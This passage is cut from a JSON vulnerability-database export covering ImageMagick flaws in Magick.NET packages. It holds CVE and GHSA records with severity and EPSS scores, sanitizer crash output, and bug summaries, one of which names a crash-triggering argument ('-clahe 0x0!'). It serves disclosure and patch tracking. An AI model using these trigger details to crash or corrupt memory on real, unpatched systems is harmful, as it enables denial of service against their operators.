0x51b000000600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x51b000000680:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x51b000000700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x51b000000780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51b000000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51b000000880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51b000000900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==1562409==ABORTING\n```\n\n## **Reporter Credit**\n\nGoogle Big Sleep","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55004.json","reference_id":"","reference_type":"","scores":[{"value":"7.6","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55004.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-55004","reference_id":"","reference_type":"","scores":[{"value":"0.00044","scoring_system":"epss","scoring_elements":"0.13395","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00044","scoring_system":"epss","scoring_elements":"0.13526","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00044","scoring_system":"epss","scoring_elements":"0.13476","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00044","scoring_system":"epss","scoring_elements":"0.13537","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00044","scoring_system":"epss","scoring_elements":"0.13598","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00044","scoring_system":"epss","scoring_elements":"0.13323","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00044","scoring_system":"epss","scoring_elements":"0.13416","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00044","scoring_system":"epss","scoring_elements":"0.13462","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00044","scoring_system":"epss","scoring_elements":"0.13499","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00048","scoring_system":"epss","scoring_elements":"0.14694","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00048","scoring_system":"epss","scoring_elements":"0.14661","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00048","scoring_system":"epss","scoring_elements":"0.14601","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00048","scoring_system":"epss","scoring_elements":"0.14692","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00069","scoring_system":"epss","scoring_elements":"0.20924","published_at":"2026-04-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-55004"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0","reference_id":"","reference_type":"","scores":[{"value":"7.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"7.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cjc8-g9w8-chfw","reference_id":"","reference_type":"","scores":[{"value":"7.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-13T14:35:55Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cjc8-g9w8-chfw"},{"reference_url":"https://goo.gle/bigsleep","reference_id":"","reference_type":"","scores":[{"value":"7.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-13T14:35:55Z/"}],"url":"https://goo.gle/bigsleep"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55004","reference_id":"","reference_type":"","scores":[{"value":"7.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55004"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111101","reference_id":"1111101","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111101"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2388246","reference_id":"2388246","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2388246"},{"reference_url":"https://github.com/advisories/GHSA-cjc8-g9w8-chfw","reference_id":"GHSA-cjc8-g9w8-chfw","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-cjc8-g9w8-chfw"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/570798?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.8.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2gw3-qfan-jygd"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-569d-6nue-5kbq"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6meg-yjby-a7gj"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b43n-3d1g-u3fe"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-h221-qd8d-tqa5"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-mxg1-261s-nbds"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-r889-wzc7-1yem"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-spch-fffg-4yc5"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-uwj5-1fkf-7qg9"},{"vulnerability":"VCID-vaks-d4k5-zue7"},{"vulnerability":"VCID-vkp6-wh22-eqap"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.8.0"}],"aliases":["CVE-2025-55004","GHSA-cjc8-g9w8-chfw"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-vbdt-31wd-v3h8"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21970?format=json","vulnerability_id":"VCID-vkp6-wh22-eqap","summary":"ImageMagick CLAHE : Unsigned underflow and division-by-zero lead to OOB pointer arithmetic and process crash (DoS)\nA single root cause in the CLAHE implementation — tile width/height becoming zero — produces two distinct but related unsafe behaviors.\nVulnerabilities exists in the `CLAHEImage()` function of ImageMagick’s `MagickCore/enhance.c`.\n\n1. Unsigned integer underflow → out-of-bounds pointer arithmetic (OOB): when `tile_info.height == 0`, the expression `tile_info.height - 1` (unsigned) wraps to a very large value; using that value in pointer arithmetic yields a huge offset and OOB memory access (leading to memory corruption, SIGSEGV, or resource exhaustion).\n2. **Division/modulus by zero**: where code performs `... / tile_info.width` or `... % tile_info.height` without re-checking for zero, causing immediate division-by-zero crashes under sanitizers or `abort` at runtime.\n\nBoth behaviors are triggered by the same invalid tile condition (e.g., CLI exact `-clahe 0x0!` or automatic tile derivation `dim >> 3 == 0` for very small images).\n\n---","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-62594.json","reference_id":"","reference_type":"","scores":[{"value":"4.7","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-62594.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-62594","reference_id":"","reference_type":"","scores":[{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02624","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.0261","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04046","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04036","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03915","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03903","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.0392","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03973","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04101","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04054","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03967","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03968","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03998","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.0395","published_at":"2026-04-12T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-62594"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"4.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/7b47fe369eda90483402fcd3d78fa4167d3bb129","reference_id":"","reference_type":"","scores":[{"value":"4.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-10-27T20:23:10Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/commit/7b47fe369eda90483402fcd3d78fa4167d3bb129"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1119296","reference_id":"1119296","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1119296"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2406644","reference_id":"2406644","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2406644"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62594","reference_id":"CVE-2025-62594","reference_type":"","scores":[{"value":"4.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62594"},{"reference_url":"https://github.com/advisories/GHSA-wpp4-vqfq-v4hp","reference_id":"GHSA-wpp4-vqfq-v4hp","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-wpp4-vqfq-v4hp"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wpp4-vqfq-v4hp","reference_id":"GHSA-wpp4-vqfq-v4hp","reference_type":"","scores":[{"value":"4.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-10-27T20:23:10Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wpp4-vqfq-v4hp"}],"fixed_packages":[],"aliases":["CVE-2025-62594","GHSA-wpp4-vqfq-v4hp"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-vkp6-wh22-eqap"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24627?format=json","vulnerability_id":"VCID-vpdn-g1k9-1kdn","summary":"ImageMagick has heap buffer overflow in YUV 4:2:2 decoder\nA heap buffer overflow write vulnerability exists in ReadYUVImage() (coders/yuv.c) when processing malicious YUV 4:2:2 (NoInterlace) images. The pixel-pair loop writes one pixel beyond the allocated row buffer.\n\n```\n=================================================================\n==204642==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5170000002e0 at pc 0x562d21a7e8de bp 0x7fffa9ae1270 sp 0x7fffa9ae1260\nWRITE of size 8 at 0x5170000002e0 thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25986.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25986.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25986","reference_id":"","reference_type":"","scores":[{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07243","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07208","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07188","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07242","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07269","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07266","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07252","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.0723","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07257","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.0725","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07292","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07168","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07174","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.19294","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25986"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25986","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25986"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mqfc-82jx-3mr2","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:06:36Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mqfc-82jx-3mr2"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25986","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25986"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442111","reference_id":"2442111","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442111"},{"reference_url":"https://github.com/advisories/GHSA-mqfc-82jx-3mr2","reference_id":"GHSA-mqfc-82jx-3mr2","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-mqfc-82jx-3mr2"},{"reference_url":"https://usn.ubuntu.com/8069-1/","reference_id":"USN-8069-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8069-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25986","GHSA-mqfc-82jx-3mr2"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-vpdn-g1k9-1kdn"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/20978?format=json","vulnerability_id":"VCID-x44m-x33k-hydn","summary":"ImageMagick: Heap-based Buffer Overflow in GetPixelIndex due to metadata-cache desynchronization\n`OpenPixelCache`  updates image channel metadata **before** attempting pixel cache memory allocation. When both memory and disk allocation fail a heap-buffer-overflow read in occurs in any writer that calls `GetPixelIndex`.","references":[{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"3.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"3.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gq5v-qf8q-fp77","reference_id":"","reference_type":"","scores":[{"value":"3.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:L"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gq5v-qf8q-fp77"},{"reference_url":"https://github.com/advisories/GHSA-gq5v-qf8q-fp77","reference_id":"GHSA-gq5v-qf8q-fp77","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-gq5v-qf8q-fp77"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["GHSA-gq5v-qf8q-fp77"],"risk_score":1.5,"exploitability":"0.5","weighted_severity":"3.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-x44m-x33k-hydn"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24594?format=json","vulnerability_id":"VCID-x8c6-9pse-xkc8","summary":"ImageMagick: Integer overflow in DIB coder can result in out of bounds read or write\nAn integer overflow in DIB coder can result in out of bounds read or 